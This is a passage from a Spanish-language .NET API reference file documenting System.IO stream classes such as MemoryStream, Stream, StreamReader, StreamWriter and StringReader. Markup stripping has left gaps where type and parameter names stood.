como se ha indicado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + El valor de es null. + + o son negativos. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia de la clase según la región especificada de una matriz de bytes, con la propiedad establecida como se ha indicado y la posibilidad de llamar a establecida según lo especificado. + Matriz de bytes sin signo a partir de la cual se crea esta secuencia. + Índice en en el que empieza la secuencia. + Longitud de la secuencia en bytes. + Establecimiento de la propiedad , que determina si la secuencia admite escritura. + Es true para habilitar , que devuelve la matriz de bytes sin signo desde la cual se creó la secuencia; de lo contrario, es false. + El valor de es null. + + o es negativo. + La longitud del búfer menos es menor que . + + + Inicializa una nueva instancia de la clase con una capacidad expansible inicializada según lo especificado. + Tamaño inicial de la matriz interna en bytes. + + es negativo. + + + Obtiene un valor que indica si la secuencia actual admite lectura. + true si el flujo está abierto. + 2 + + + Obtiene un valor que indica si la secuencia actual admite búsquedas. + true si el flujo está abierto. + 2 + + + Obtiene un valor que indica si la secuencia actual admite escritura. + true si el flujo admite escritura; en caso contrario, false. + 2 + + + Obtiene o establece el número de bytes asignados a esta secuencia. + Longitud de la parte utilizable del búfer para la secuencia. + Se establece una capacidad de modo que sea negativa o menor que la longitud actual de la secuencia. + La secuencia actual está cerrada. + set se invoca en una secuencia cuya capacidad no se puede modificar. + 2 + + + Lee asincrónicamente todos los bytes de la secuencia actual y los escribe en otra secuencia, utilizando el tamaño de búfer especificado y el token de cancelación. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero. + Token para supervisar solicitudes de cancelación. + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Libera los recursos no administrados usados que usa la clase y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Reemplaza el método de modo que no se realice ninguna acción. + 2 + + + De forma asincrónica borra todos los búferes de esta secuencia y supervisa las solicitudes de cancelación. + Tarea que representa la operación de vaciado asincrónico. + Token para supervisar solicitudes de cancelación. + Se ha eliminado la secuencia. + + + Obtiene la longitud de la secuencia en bytes. + Longitud de la secuencia en bytes. + La secuencia está cerrada. + 2 + + + Obtiene o establece la posición actual dentro de la secuencia. + Posición actual dentro de la secuencia. + La posición se establece en un valor negativo o un valor mayor que . + La secuencia está cerrada. + 2 + + + Lee un bloque de bytes de la secuencia actual y escribe los datos en un búfer. + Número total de bytes escritos en el búfer.Puede ser menor que el número de bytes solicitado si ese número de bytes no está disponible, o bien puede ser cero si se alcanza el final de la secuencia antes de que se lea algún byte. + Cuando este método finaliza, contiene la matriz de bytes especificada con valores entre y ( + - 1) reemplazada con los caracteres leídos de la secuencia actual. + Posición de desplazamiento en bytes de base cero de en el que se comienza a almacenar los datos de la secuencia actual. + Número máximo de bytes que se pueden leer. + El valor de es null. + + o es negativo. + + resta de la longitud del búfer es menor que . + La instancia de la secuencia actual está cerrada. + 2 + + + Lee de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición dentro de la secuencia el número de bytes leídos y controla las solicitudes de cancelación. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee un byte de la secuencia actual. + El byte convertido en un o -1 si se llega al final de la secuencia. + La instancia de la secuencia actual está cerrada. + 2 + + + Establece la posición dentro de la secuencia actual en el valor especificado. + Nueva posición dentro de la secuencia, calculada mediante la combinación del punto de referencia inicial y del desplazamiento. + Nueva posición dentro de la secuencia.Esta está relacionada con el parámetro y puede ser positiva o negativa. + Valor de tipo , que actúa como el punto de referencia de las operaciones de búsqueda. + Se ha intentado realizar una búsqueda antes del inicio de la secuencia. + + es mayor que . + Hay un no válido . o bien se produjo un desbordamiento aritmético. + La instancia de la secuencia actual está cerrada. + 2 + + + Establece la longitud de la secuencia actual en el valor especificado. + Valor en el que establecer la longitud. + La secuencia actual no es de tamaño variable y es mayor que la capacidad actual.o bien La secuencia actual no admite escritura. + + es negativo o es mayor que la longitud máxima de la , donde la longitud máxima es ( -origin), y el origen es el índice del búfer subyacente donde comienza la secuencia. + 2 + + + Escribe el contenido de la secuencia en una matriz de bytes, independientemente de la propiedad . + Nueva matriz de bytes. + 2 + + + Devuelve la matriz de bytes sin signo a partir de la cual se creó esta secuencia.El valor devuelto indica si la conversión se realizó correctamente. + Es true si la conversión se realiza correctamente; en caso contrario, es false. + El segmento de matriz de bytes desde el que se creó esta secuencia. + + + Escribe un bloque de bytes en la secuencia actual usando los datos leídos en un búfer. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero en la en la que se comienzan a copiar los bytes en la secuencia actual. + Número máximo de bytes que se pueden escribir. + El valor de es null. + La secuencia no es compatible con la escritura.Para obtener más información, vea .o bien La posición actual está más cerca que bytes al final de la secuencia y la capacidad no se puede modificar. + + resta de la longitud del búfer es menor que . + + o son negativos. + Se produce un error de E/S. + La instancia de la secuencia actual está cerrada. + 2 + + + Escribe de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos y controla las solicitudes de cancelación. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe un byte en la posición actual de la secuencia actual. + Byte que se va a escribir. + La secuencia no es compatible con la escritura.Para obtener más información, vea .o bien La posición actual se encuentra al final de la secuencia y la capacidad no se puede modificar. + La secuencia actual está cerrada. + 2 + + + Escribe el contenido completo de esta secuencia de memoria en otra secuencia. + Secuencia en la que se va a escribir esta secuencia de memoria. + El valor de es null. + La secuencia actual o de destino está cerrada. + 2 + + + Especifica la posición usada para buscar en una secuencia. + 2 + + + Especifica el comienzo de una secuencia. + + + Especifica lo posición actual dentro de la secuencia. + + + Especifica el final de una secuencia. + + + Proporciona una vista genérica de una secuencia de bytes.Esta es una clase abstracta.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 2 + + + Inicializa una nueva instancia de la clase . + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite lectura. + true si la secuencia admite lectura; en caso contrario, false. + 1 + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite búsquedas. + true si la secuencia admite búsquedas; en caso contrario, false. + 1 + + + Obtiene un valor que determina si se puede agotar el tiempo de espera de la secuencia actual. + Un valor que determina si se puede agotar el tiempo de espera de la secuencia actual. + 2 + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite escritura. + true si el flujo admite escritura; en caso contrario, false. + 1 + + + Lee los bytes de la secuencia actual y los escribe en otra secuencia de destino. + Secuencia en la que se copiará el contenido de la secuencia actual. + El valor de es null. + La secuencia actual no admite lectura.o bien no se admite la escritura. + La secuencia de actual o se cerraron antes de la se llamó al método. + Error de E/S. + + + Lee todos los bytes de la secuencia actual y los escribe en otra secuencia, usando el tamaño de búfer especificado. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + El valor de es null. + + es un valor negativo o es cero. + La secuencia actual no admite lectura.o bien no se admite la escritura. + La secuencia de actual o se cerraron antes de la se llamó al método. + Error de E/S. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + El valor de es null. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia, usando el tamaño de búfer especificado. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia, utilizando el tamaño de búfer y el token de cancelación especificados. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Libera todos los recursos usados por . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Cuando se reemplaza en una clase derivada, borra todos los búferes de esta secuencia y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Se produce un error de E/S. + 2 + + + Borra asincrónicamente todos los búferes de esta secuencia y hace que los datos almacenados en búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se ha eliminado la secuencia. + + + Borra asincrónicamente todos los búferes del flujo actual, hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente y supervisa las solicitudes de cancelación. + Tarea que representa la operación de vaciado asincrónico. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + Se ha eliminado la secuencia. + + + Cuando se reemplaza en una clase derivada, obtiene la longitud en bytes de la secuencia. + Un valor Long que representa la longitud de la secuencia en bytes. + Una clase derivada de Stream no admite la búsqueda. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Stream sin memoria auxiliar. + 1 + + + Cuando se reemplaza en una clase derivada, se obtiene o se establece la posición dentro de la secuencia actual. + Posición actual dentro de la secuencia. + Se produce un error de E/S. + La secuencia no admite búsquedas. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Cuando se reemplaza en una clase derivada, se lee una secuencia de bytes en la secuencia actual y se hace avanzar la posición dentro de la secuencia el número de bytes leídos. + Número total de bytes leídos en el búfer.Puede ser menor que el número de bytes solicitado si dicho número no está disponible, o puede ser cero (0) si se alcanza el final de la secuencia. + Matriz de bytes.Cuando este método devuelve un valor, el búfer contiene la matriz de bytes especificada con valores entre y ( + - 1) reemplazada con los bytes leídos del origen actual. + Desplazamiento en bytes de base cero de donde se comienza a almacenar los datos leídos de la secuencia actual. + Número máximo de bytes que se deben leer de la secuencia actual. + La suma de y es mayor que la longitud del búfer. + El valor de es null. + + o es negativo. + Se produce un error de E/S. + La secuencia no admite lectura. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Lee asincrónicamente una secuencia de bytes de la secuencia actual y avanza la posición en esta secuencia según el número de bytes leídos. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición dentro de la secuencia el número de bytes leídos y controla las solicitudes de cancelación. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee un byte de la secuencia y hace avanzar la posición de la secuencia en un byte, o devuelve -1 si está al final de la secuencia. + Byte sin signo convertido en Int32,o bien -1 si está al final de la secuencia. + La secuencia no admite lectura. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Obtiene o establece un valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de lectura antes de que se agote el tiempo de espera. + Valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de lectura antes de que se agote el tiempo de espera. + El método siempre produce una . + 2 + + + Cuando se reemplaza en una clase derivada, se establece la posición dentro de la secuencia actual. + La nueva posición dentro de la secuencia actual. + Desplazamiento de bytes relacionado con el parámetro . + Valor de tipo que indica el punto de referencia utilizado para obtener la nueva posición. + Se produce un error de E/S. + La secuencia no admite búsquedas, como en el caso donde la secuencia se cree a partir de los resultados de una canalización o consola. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Cuando se reemplaza en una clase derivada, se establece la longitud de la secuencia actual. + Longitud deseada de la secuencia actual, en bytes. + Se produce un error de E/S. + La secuencia no admite operaciones de lectura ni escritura, como en el caso donde la secuencia se cree a partir de los resultados de una canalización o consola. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Cuando se reemplaza en una clase derivada, se escribe una secuencia de bytes en la secuencia actual y se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos. + Matriz de bytes.Este método copia bytes desde al flujo actual. + Desplazamiento en bytes de base cero en la en la que se comienzan a copiar los bytes en la secuencia actual. + Número de bytes que se deben escribir en la secuencia actual. + La suma de  y  es mayor que la longitud del búfer. + + es null. + + o  es negativo. + Se produjo un error de E/S, como no se puede encontrar el archivo especificado. + La secuencia no es compatible con la escritura. + + se llama después de cerrar la secuencia. + 1 + + + Escribe asincrónicamente una secuencia de bytes en la secuencia actual y avanza la posición actual en esta secuencia según el número de bytes escritos. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos y controla las solicitudes de cancelación. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe un byte a la posición actual en la secuencia y avanza la posición de la secuencia en un byte. + Byte que se debe escribir en la secuencia. + Se produce un error de E/S. + La secuencia no admite escritura o ya se encuentra cerrada. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Obtiene o establece un valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de escritura antes de que se agote el tiempo de espera. + Valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de escritura antes de que se agote el tiempo de espera. + El método siempre produce una . + 2 + + + Implementa un que lee los caracteres de una secuencia de bytes en una codificación determinada.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 1 + + + Inicializa una nueva instancia de la clase para el flujo especificado. + Secuencia que se va a leer. + + no se admite la lectura. + El valor de es null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada, con la opción especificada de detección de marcas de orden de bytes. + Secuencia que se va a leer. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + + no se admite la lectura. + El valor de es null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada y con la codificación de caracteres indicada. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + + no se admite la lectura. + El valor de o es null. + + + Inicializa una nueva instancia de la clase de la secuencia especificada, con la codificación de caracteres especificada y la opción especificada de detección de marcas de orden de bytes. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + + no se admite la lectura. + El valor de o es null. + + + Inicializa una nueva instancia de la clase de la secuencia especificada, con la codificación de caracteres especificada, la opción especificada de detección de marcas de orden de bytes y el tamaño del búfer. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + Tamaño mínimo de búfer. + La secuencia no admite lectura. + El valor de o es null. + + es menor o igual que cero. + + + Inicializa una nueva instancia de la clase de la secuencia especificada basada en la codificación de caracteres especificada, la opción especificada de detección de marcas de orden de bytes y el tamaño del búfer y, opcionalmente, deja abierta la secuencia. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Es true para buscar marcas de orden de byte al comienzo del archivo; en caso contrario, es false. + Tamaño mínimo de búfer. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + + + Devuelve la secuencia subyacente. + Secuencia subyacente. + 2 + + + Obtiene la codificación de caracteres que actualmente utiliza este objeto . + Codificación de caracteres que utiliza actualmente este lector.El valor puede ser diferente después de la primera llamada a cualquier método de , ya que la detección automática de la codificación no se realiza hasta la primera llamada a un método . + 2 + + + Borra el búfer interno. + 2 + + + Cierra la secuencia subyacente, libera los recursos no administrados que utiliza y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Obtiene un valor que indica si la actual posición está al final de la secuencia. + Es true si la actual posición está al final de la secuencia; en caso contrario, es false. + Se ha eliminado la secuencia subyacente. + 1 + + + Objeto en torno a una secuencia vacía. + 1 + + + Devuelve el siguiente carácter disponible pero no lo consume. + Entero que representa el siguiente carácter que se va a leer, o -1 si no hay caracteres que leer o si la secuencia no admite la operación de búsqueda. + Se produce un error de E/S. + 1 + + + Lee el siguiente carácter de la secuencia de entrada y hace avanzar la posición de los caracteres en un carácter. + El siguiente carácter de la secuencia de entrada que se representa como un objeto , o -1 si no hay más caracteres disponibles. + Se produce un error de E/S. + 1 + + + Lee un máximo especificado de caracteres de la secuencia actual en un búfer, comenzando en el índice especificado. + Número de caracteres leídos. Si se llega al final de la secuencia y no se leyó ningún dato es 0.El número será menor o igual que el parámetro , dependiendo de si los datos están disponibles dentro de la secuencia. + El resultado que devuelve este método contiene la matriz de caracteres especificada con valores entre e () reemplazada por los caracteres leídos del origen actual. + Índice de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + La longitud del búfer menos es menor que . + El valor de es null. + + o es negativo. + Se produce un error de E/S, como el cierre de la secuencia. + 1 + + + Lee de forma asincrónica un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final de la secuencia se alcanza antes de escribir el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , dependiendo de si se han leído todos los caracteres de entrada. + El resultado que devuelve este método contiene la matriz de caracteres especificada con valores entre e () reemplazada por los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + El valor de es null. + La longitud del búfer menos es menor que . + + o es negativo. + El se cierra. + Error de E/S. + + + Lee de forma asincrónica un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final de la secuencia se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres de la secuencia actual y devuelve los datos como una cadena. + Línea siguiente de la secuencia de entrada, o null si se alcanza el final de la secuencia de entrada. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + Se produce un error de E/S. + 1 + + + Lee de forma asincrónica una línea de caracteres de la secuencia actual y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente de la secuencia, o es null si se han leído todos los caracteres. + El número de caracteres en la siguiente línea es mayor que . + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final de la secuencia. + Resto de la secuencia, como una cadena, desde la posición actual hasta el final.Si la posición actual se encuentra al final de la secuencia, devuelve una cadena vacía (""). + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + Se produce un error de E/S. + 1 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final de la secuencia y los devuelve como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final de la secuencia. + El número de caracteres es mayor que . + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Implementa para escribir los caracteres de una secuencia en una codificación determinada.Para examinar el código fuente de .NET Framework para este tipo, consulte el fuente de referencia de. + 1 + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación UTF-8 y el tamaño de búfer predeterminado. + Secuencia en la que se va a escribir. + No se puede escribir en . + + is null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación especificada y el tamaño de búfer predeterminado. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + + o es null. + No se puede escribir en . + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación y el tamaño de búfer especificados. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + Tamaño del búfer en bytes. + + o es null. + El valor de es negativo. + No se puede escribir en . + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación y tamaño de búfer especificados y, opcionalmente deja abierta la secuencia. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + Tamaño del búfer en bytes. + true para dejar la secuencia abierta después de desechar el objeto ; de lo contrario, false. + + o es null. + El valor de es negativo. + No se puede escribir en . + + + Obtiene o establece un valor que indica si vaciará su búfer en la secuencia subyacente después de cada llamada a . + Es true para que vacíe su búfer; en caso contrario, es false. + 1 + + + Obtiene la secuencia subyacente que interactúa con una memoria auxiliar. + Secuencia en la que escribe este StreamWriter. + 2 + + + Libera los recursos no administrados que usa y, de forma opcional, libera los recursos administrados. + truepara liberar los recursos administrados y no administrados; false para liberar únicamente los recursos no administrados. + La codificación actual no admite que se muestre la mitad de un par suplente Unicode. + + + Obtiene el donde se escribe el resultado. + + especificado en el constructor para la instancia actual o si no se ha especificado una codificación. + 2 + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en la secuencia subyacente. + El sistema de escritura actual está cerrado. + Se produjo un error de E/S. + La codificación actual no admite que se muestre la mitad de un par suplente Unicode. + 1 + + + Borra todos los búferes para esta secuencia de forma asincrónica y hace que los datos almacenados en búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se ha eliminado la secuencia. + + + Proporciona un StreamWriter sin memoria auxiliar, en el que se puede escribir pero no se puede leer. + 1 + + + Escribe un carácter en la secuencia. + Carácter que se va a escribir en la secuencia. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una matriz de caracteres en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir.Si es null, no se escribe nada. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una submatriz de caracteres en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + Posición del carácter en el búfer donde comenzar la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una cadena en la secuencia. + Cadena que se debe escribir en la secuencia.Si es null, no se escribe nada. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que contiene los datos que se van a escribir. + Posición del carácter en el búfer donde comienza la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La suma de y es mayor que la longitud del búfer. + El valor de o es negativo. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Cadena que se debe escribir en la secuencia.Si es null, no se escribe nada. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La suma de y es mayor que la longitud del búfer. + El valor de o es negativo. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguida de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Implementa que lee en una cadena. + 2 + + + Inicializa una nueva instancia de la clase que lee en la cadena especificada. + Cadena en la que debe inicializarse. + El parámetro es null. + + + Libera los recursos no administrados que utiliza la clase y, opcionalmente, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Devuelve el siguiente carácter disponible pero no lo consume. + Un entero que representa el siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si la secuencia no admite la operación de búsqueda. + El sistema de lectura actual está cerrado. + 2 + + + Lee el siguiente carácter de la cadena de entrada y hace avanzar la posición de los caracteres en un carácter. + Siguiente carácter de la cadena subyacente, o -1 si no hay más caracteres disponibles. + El sistema de lectura actual está cerrado. + 2 + + + Lee un bloque de caracteres de la cadena de entrada y hace avanzar la posición de los caracteres en . + Número total de caracteres leídos en el búfer.Puede ser menor que el número de caracteres solicitado si dicho número de caracteres no está disponible, o puede ser cero si se alcanza el final de la cadena subyacente. + Cuando este método finaliza, 